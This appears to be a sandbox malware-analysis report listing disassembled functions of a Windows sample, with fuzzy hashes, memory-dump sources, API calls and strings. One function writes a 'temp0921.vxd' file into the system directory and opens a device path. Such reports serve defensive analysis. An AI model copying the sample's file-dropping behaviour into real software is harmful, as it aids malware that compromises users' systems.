Similarity

API ID:
String ID:
API String ID:
Opcode ID: b11c29d731a3fe359ff3c8960c25e70cf1d6ef21bad3e438abc49f0186303c47
Instruction ID: c65f4db1ee1ab5aea9874099a5b32825c7925b74f3c3ddba256538461b66e313
Opcode Fuzzy Hash: b11c29d731a3fe359ff3c8960c25e70cf1d6ef21bad3e438abc49f0186303c47
Instruction Fuzzy Hash: 8B719F32F287414BD71A4A3D98122F6BA96AFD6185F59D73BF849F77C1FB3488024248

Uniqueness

Uniqueness Score: -1.00%

Function 0256B1F0 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b99048aadc9108a7a47e8d757a13be714c2c91adfe30a4968028326f1f6aabb
Instruction ID: d94da61a4d33c70127931096d79afcb62bb82fddacdbbb9f7af1e86fbf498934
Opcode Fuzzy Hash: 5b99048aadc9108a7a47e8d757a13be714c2c91adfe30a4968028326f1f6aabb
Instruction Fuzzy Hash: F571E4727183154BD7088E2DCC9032EB7D6ABC8764F1A8A3DE8A9D73D1E674CC058B85

Uniqueness

Uniqueness Score: -1.00%

Function 02563130 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b4242db804f160874d45c6eac3e819e203fa8982cc2c38a369c0292fe220eb0
Instruction ID: b0cb0d300f20ddebd6507bc7e18408973e55d3e3f069e74c3814ee5996f79b5a
Opcode Fuzzy Hash: 5b4242db804f160874d45c6eac3e819e203fa8982cc2c38a369c0292fe220eb0
Instruction Fuzzy Hash: 2A810231B14346AFD718CE58C4A433ABBD2BBC5B14F0986ADD99A5B385DF309C09CB85

Uniqueness

Uniqueness Score: -1.00%

Function 025D20E3 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 998677bf26be223f5bce6a2b86f89a1f9df7ccf45b26c7b66d4fc4a99f3cffc7
Instruction ID: 5f878920901a51bff63f9c7ce6f56e1e90bafd3fa833b8bdd1da0bb451fea022
Opcode Fuzzy Hash: 998677bf26be223f5bce6a2b86f89a1f9df7ccf45b26c7b66d4fc4a99f3cffc7
Instruction Fuzzy Hash: 39912C72A087019FD318CF6AC88035BF7E2AFC8710F1AC93EA599D7754DA74A8519B81

Uniqueness

Uniqueness Score: -1.00%

Function 025AC6AE Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 393c3d374bd8c63c777b2d7d9f932cb451af37f2bf3dfa0de7fa71c2bc9b16f8
Instruction ID: 95471746c90605396dad2cf56e1d5d2bcd93722991a68cd17ccbef0c61f3614b
Opcode Fuzzy Hash: 393c3d374bd8c63c777b2d7d9f932cb451af37f2bf3dfa0de7fa71c2bc9b16f8
Instruction Fuzzy Hash: 25418072A083104FC7149EAD889062AFBE5BBC8714F05892EF9D9C3341D774DC058B96

Uniqueness

Uniqueness Score: -1.00%

Function 025A628E Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 6e51c7faef0564102dc195f7525f9acbf82fac21e2be0411007f797b0e177185
Instruction ID: cbc79b06d30ae3dd921b1747c8e2c0c934cb6769d3ffcb5f6e52da2c15ba8a7b
Opcode Fuzzy Hash: 6e51c7faef0564102dc195f7525f9acbf82fac21e2be0411007f797b0e177185
Instruction Fuzzy Hash: 0B413771F006811BD7089E78D852366B7D6FBD8304F14963DE689C7780F7B4D8918B54

Uniqueness

Uniqueness Score: -1.00%

Function 025DD3C0 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30bc2c7a4d68d0212d6293902854fcbefbd6b1e392bebafcbc4498d0f6901e01
Instruction ID: 16b1ffe6904467bb76c4f94a5d9be491e8c56437dfc3a7d5ed9a65479a5f3b46
Opcode Fuzzy Hash: 30bc2c7a4d68d0212d6293902854fcbefbd6b1e392bebafcbc4498d0f6901e01
Instruction Fuzzy Hash: B9415A76A187159FD708DE29C89025FFBE2AFC8350F15CA2DE999D7351DA30D805CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00407DBE Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa6128884ea52e64c76ff3e3364ef09faa5366da33f3e04718ef87ad060ba4cb
Instruction ID: bea78ab49d568d8cc68ab5b9c56c3e372d34a610e398940364b997e8bf37097f
Opcode Fuzzy Hash: fa6128884ea52e64c76ff3e3364ef09faa5366da33f3e04718ef87ad060ba4cb
Instruction Fuzzy Hash: E331B873F5A3859EC305CA6884401D97F619B7A208B6CC6EED4445F383C2B79A07C766

Uniqueness

Uniqueness Score: -1.00%

Function 00407703 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8f59f7a406eb4b85d93dfd7fae9637fb6621cf33be82f32cec578064e2cccf9
Instruction ID: 5f762f80975287f2da4cc5c3f4db9215d90f79417d5e070c4ca66a264b4d2add
Opcode Fuzzy Hash: f8f59f7a406eb4b85d93dfd7fae9637fb6621cf33be82f32cec578064e2cccf9
Instruction Fuzzy Hash: 14313C35624B545FD750EE7688C0D3B77E9BB88B243400C2EE943D3691DABAF8014A65

Uniqueness

Uniqueness Score: -1.00%

Function 004077F6 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae75250db23d3f65a106ccb7db6d0b7db7673aad107e272ec9e65786d8c8dc3a
Instruction ID: a28aa33132646e52dc6174b08334311de5fd8f37993466fb3b074f5a633b62d4
Opcode Fuzzy Hash: ae75250db23d3f65a106ccb7db6d0b7db7673aad107e272ec9e65786d8c8dc3a
Instruction Fuzzy Hash: 74313C35624B545FD750EE7688C0D3B77E9BB88B243400C2EE943D3691DABAF8014A55

Uniqueness

Uniqueness Score: -1.00%

Function 00409127 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80dc16c4b31a12e895f4eb3d02c2bf18cd06df24083ebb6c5dcc11986d386e4b
Instruction ID: 9fae89fed201fb87603fd6b142b5de75446cc31e3fa449c8e06de045bb1d32cf
Opcode Fuzzy Hash: 80dc16c4b31a12e895f4eb3d02c2bf18cd06df24083ebb6c5dcc11986d386e4b
Instruction Fuzzy Hash: D4214AB1D04609AEEB24CF5AD8405AEFBF4FF84360F20462FE455B7291D7395A02CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00409A38 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 471361ffd1135b2c1fce0387e3c50f122f3eba086dcd4d0d050b43a0f3504bdb
Instruction ID: 2a7c390b1601eb7402f742876ed82ff69b70e3e7b876b19d7b158a76fac5e0c4
Opcode Fuzzy Hash: 471361ffd1135b2c1fce0387e3c50f122f3eba086dcd4d0d050b43a0f3504bdb
Instruction Fuzzy Hash: 09212D72B146489FC740CF69C48079ABBF1AF8A358B6985AAC454AF383D276D907CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0040941D Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 329905633bc8b0a94ac0c240274939d2d8898a23d6a58f63f4b797b9910009b9
Instruction ID: 47aef34c857a658a6300e4a75fbe3735692d0a3d265a10cf1240a7a73e3e61bd
Opcode Fuzzy Hash: 329905633bc8b0a94ac0c240274939d2d8898a23d6a58f63f4b797b9910009b9
Instruction Fuzzy Hash: 6B1151156092C82FDF094A6C84B62EE7FA18FA7250F48D1DDADD997383C06C860ED764

Uniqueness

Uniqueness Score: -1.00%

Function 004092DE Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 028772365812209ae3b034f4d7fb155149baea42fefa9e56ea01cf4f30ab10be
Instruction ID: 9134e66de6b4e5ea04456834c8a1a991d62c2b8f5af9fc7be7d8a5352cf769b0
Opcode Fuzzy Hash: 028772365812209ae3b034f4d7fb155149baea42fefa9e56ea01cf4f30ab10be
Instruction Fuzzy Hash: F41196162451886FDF0D496D84F73DE2FA1CBA7240F48919A989987783C02D811FE764

Uniqueness

Uniqueness Score: -1.00%

Function 00408FF2 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69f6bb77fbef33ec5531855511c1a3eb96a541a6779409ec123430190a6b4409
Instruction ID: 45a5f8739c1aa389b1f2b86d6161cac0944a6aa1e8b0d199d8837934870e1e0a
Opcode Fuzzy Hash: 69f6bb77fbef33ec5531855511c1a3eb96a541a6779409ec123430190a6b4409
Instruction Fuzzy Hash: 41F06272E102289BCF14DFA9CD416CDFBF1AF88724F25821AE514B3291CA7959049B68

Uniqueness

Uniqueness Score: -1.00%

Function 0042C019 Relevance: 42.0, APIs: 12, Strings: 12, Instructions: 44registryclipboardCOMMON

Download Yara Rule

APIs

RegisterClipboardFormatA.USER32(Native), ref: 0042C028
RegisterClipboardFormatA.USER32(OwnerLink), ref: 0042C031
RegisterClipboardFormatA.USER32(ObjectLink), ref: 0042C03B
RegisterClipboardFormatA.USER32(Embedded Object), ref: 0042C045
RegisterClipboardFormatA.USER32(Embed Source), ref: 0042C04F
RegisterClipboardFormatA.USER32(Link Source), ref: 0042C059
RegisterClipboardFormatA.USER32(Object Descriptor), ref: 0042C063
RegisterClipboardFormatA.USER32(Link Source Descriptor), ref: 0042C06D
RegisterClipboardFormatA.USER32(FileName), ref: 0042C077
RegisterClipboardFormatA.USER32(FileNameW), ref: 0042C081
RegisterClipboardFormatA.USER32(Rich Text Format), ref: 0042C08B
RegisterClipboardFormatA.USER32(RichEdit Text and Objects), ref: 0042C095

Strings

Native, xrefs: 0042C021
Embedded Object, xrefs: 0042C03D
Object Descriptor, xrefs: 0042C05B
FileName, xrefs: 0042C06F
Link Source, xrefs: 0042C051
Rich Text Format, xrefs: 0042C083
FileNameW, xrefs: 0042C079
Embed Source, xrefs: 0042C047
OwnerLink, xrefs: 0042C02A
Link Source Descriptor, xrefs: 0042C065
RichEdit Text and Objects, xrefs: 0042C08D
ObjectLink, xrefs: 0042C033

Memory Dump Source

Source File: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: ClipboardFormatRegister
String ID: Embed Source$Embedded Object$FileName$FileNameW$Link Source$Link Source Descriptor$Native$Object Descriptor$ObjectLink$OwnerLink$Rich Text Format$RichEdit Text and Objects
API String ID: 1228543026-2889995556
Opcode ID: 6b5a084f798606625df073df63a90125f29f45b26c0b684456c2d3012832e5f7
Instruction ID: 353324ec1318cbb582c5df8b14f60fd4019d8d1e18631fe9f1ac3c0909de5a58
Opcode Fuzzy Hash: 6b5a084f798606625df073df63a90125f29f45b26c0b684456c2d3012832e5f7
Instruction Fuzzy Hash: 7B013571A407446A8B30BF769C0AD4BBAE4EEC9B107625D2FE09597650DAF89841CF88

Uniqueness

Uniqueness Score: -1.00%

Function 00429F0B Relevance: 38.7, APIs: 17, Strings: 5, Instructions: 169registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00429F31
GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 00429F3C
ConvertDefaultLocale.KERNEL32(?), ref: 00429F6D
ConvertDefaultLocale.KERNEL32(?), ref: 00429F75
GetProcAddress.KERNEL32(?,GetSystemDefaultUILanguage), ref: 00429F82
ConvertDefaultLocale.KERNEL32(?), ref: 00429F9C
ConvertDefaultLocale.KERNEL32(000003FF), ref: 00429FA2
GetVersion.KERNEL32 ref: 00429FB0
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 00429FD5
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,?,?), ref: 00429FFB
ConvertDefaultLocale.KERNEL32(?), ref: 0042A047
ConvertDefaultLocale.KERNEL32(76170A60), ref: 0042A04D
RegCloseKey.ADVAPI32(?), ref: 0042A058

Strings

kernel32.dll, xrefs: 00429F24
GetSystemDefaultUILanguage, xrefs: 00429F77
GetUserDefaultUILanguage, xrefs: 00429F33
ntdll.dll, xrefs: 0042A060
Control Panel\Desktop\ResourceLocale, xrefs: 00429FC8

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: ConvertDefaultLocale$AddressProc$CloseHandleModuleOpenQueryValueVersion
String ID: Control Panel\Desktop\ResourceLocale$GetSystemDefaultUILanguage$GetUserDefaultUILanguage$kernel32.dll$ntdll.dll
API String ID: 780041395-483790700
Opcode ID: 203f824ac1d43bbac6753af98df5ecf5df3a10049759535824241b98e85e0784
Instruction ID: b78f76d465d7b8429b50d250dff1f3f1b8a90edccc9fbb2a61dff07a2d830dcb
Opcode Fuzzy Hash: 203f824ac1d43bbac6753af98df5ecf5df3a10049759535824241b98e85e0784
Instruction Fuzzy Hash: 155195B1F00228AFDB20DFE5DC85AAFBBB8FB08314F90447BE901E3140D67899449B55

Uniqueness

Uniqueness Score: -1.00%

Function 00403B02 Relevance: 37.1, APIs: 16, Strings: 5, Instructions: 357fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00400000,?,00000104,?), ref: 00403B29

Part of subcall function 00401FE9: lstrlenA.KERNEL32(?,?,?,?,00402E72,?), ref: 00402008

CharLowerA.USER32(?,?,00000004,?), ref: 00403B60
DeleteFileA.KERNEL32(00446BF0), ref: 00403F98

Part of subcall function 00402C6D: MessageBoxA.USER32(00000000,?,00000000,00000030), ref: 00402D19

Part of subcall function 0040A0A4: GetVersionExA.KERNEL32(?), ref: 0040A0E9

CoInitialize.OLE32(00000000), ref: 00403C90
CoUninitialize.OLE32 ref: 00403CAD
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00403D01
CreateFileA.KERNEL32(C0000000,00000003,00000000,00000002,00000090,00000000), ref: 00403D3C
WriteFile.KERNEL32(00000000,0042FA48,00001270,?,00000000), ref: 00403D60
CloseHandle.KERNEL32(00000000), ref: 00403D6A
DeleteFileA.KERNEL32(00447800), ref: 00403DE2

Part of subcall function 0040251B: CharNextA.USER32(?,?,00000000,00000000,00402825,?,?,?,00000000,?), ref: 00402548

Strings

temp0921.vxd, xrefs: 00403D07
%s%s, xrefs: 00403D84
.dll, xrefs: 00403B66
\\.\, xrefs: 00403D7F
%s%s%s, xrefs: 00403D18

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: File$CharDelete$CloseCreateDirectoryHandleInitializeLowerMessageModuleNameNextSystemUninitializeVersionWritelstrlen
String ID: %s%s$%s%s%s$.dll$\\.\$temp0921.vxd
API String ID: 1553515636-1906822863
Opcode ID: 0d65bbf1805183a64baca0f02ee02aa9a5489940a6456a861ec73bf611a059c0
Instruction ID: 408f333712ebdddcccb1fd84654ab834d5505da6427f59c8e72a8d2f52c591c3
Opcode Fuzzy Hash: 0d65bbf1805183a64baca0f02ee02aa9a5489940a6456a861ec73bf611a059c0
Instruction Fuzzy Hash: D5C1D331904209AADB15AFA1DC86EEE7B38EF11319F20407FF401B10E1DB799E45CA6D

Uniqueness

Uniqueness Score: -1.00%

Function 004257B5 Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 169stringCOMMON

Download Yara Rule

APIs

CallNextHookEx.USER32(?,00000003,?,?), ref: 004257ED
GetClassLongA.USER32(?,000000E6), ref: 00425832
GlobalGetAtomNameA.KERNEL32(?,00000000,00000005), ref: 0042585E
lstrcmpiA.KERNEL32(?,ime), ref: 0042586D
SetWindowLongA.USER32(?,000000FC,Function_00024DF1), ref: 004258A7
CallNextHookEx.USER32(?,00000003,?,?), ref: 004259A2
UnhookWindowsHookEx.USER32(?), ref: 004259B3

Strings

#32768, xrefs: 004258DF, 004258E4, 00425934
AfxOldWndProc423, xrefs: 00425959, 0042595E, 0042596B, 00425975, 00425980
ime, xrefs: 00425867

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

